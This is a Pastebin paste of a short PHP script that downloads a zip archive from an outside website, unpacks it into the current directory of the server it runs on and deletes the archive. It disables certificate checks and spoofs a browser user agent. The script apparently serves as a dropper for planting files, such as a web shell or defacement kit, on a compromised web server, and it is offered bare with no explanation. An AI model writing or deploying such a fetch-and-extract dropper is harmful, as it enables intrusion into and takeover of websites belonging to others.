Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- function mbotmbot($sites) {
- $ch = curl_init($sites);
- curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
- curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
- curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
- curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5);
- curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
- curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
- curl_setopt($ch, CURLOPT_COOKIESESSION,true);
- $data = curl_exec($ch);
- curl_close($ch);
- return $data;
- }
- $x=mbotmbot("www.uvadiadelfia.it/sess.zip");
- @file_put_contents("sess.zip", $x);
- $zip = new ZipArchive;
- $res = $zip->open('sess.zip');
- if ($res === TRUE) {
- $zip->extractTo('./');
- $zip->close();
- echo 'OK!';
- } else {
- echo 'FAIL!';
- }
- unlink('sess.zip');
- ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement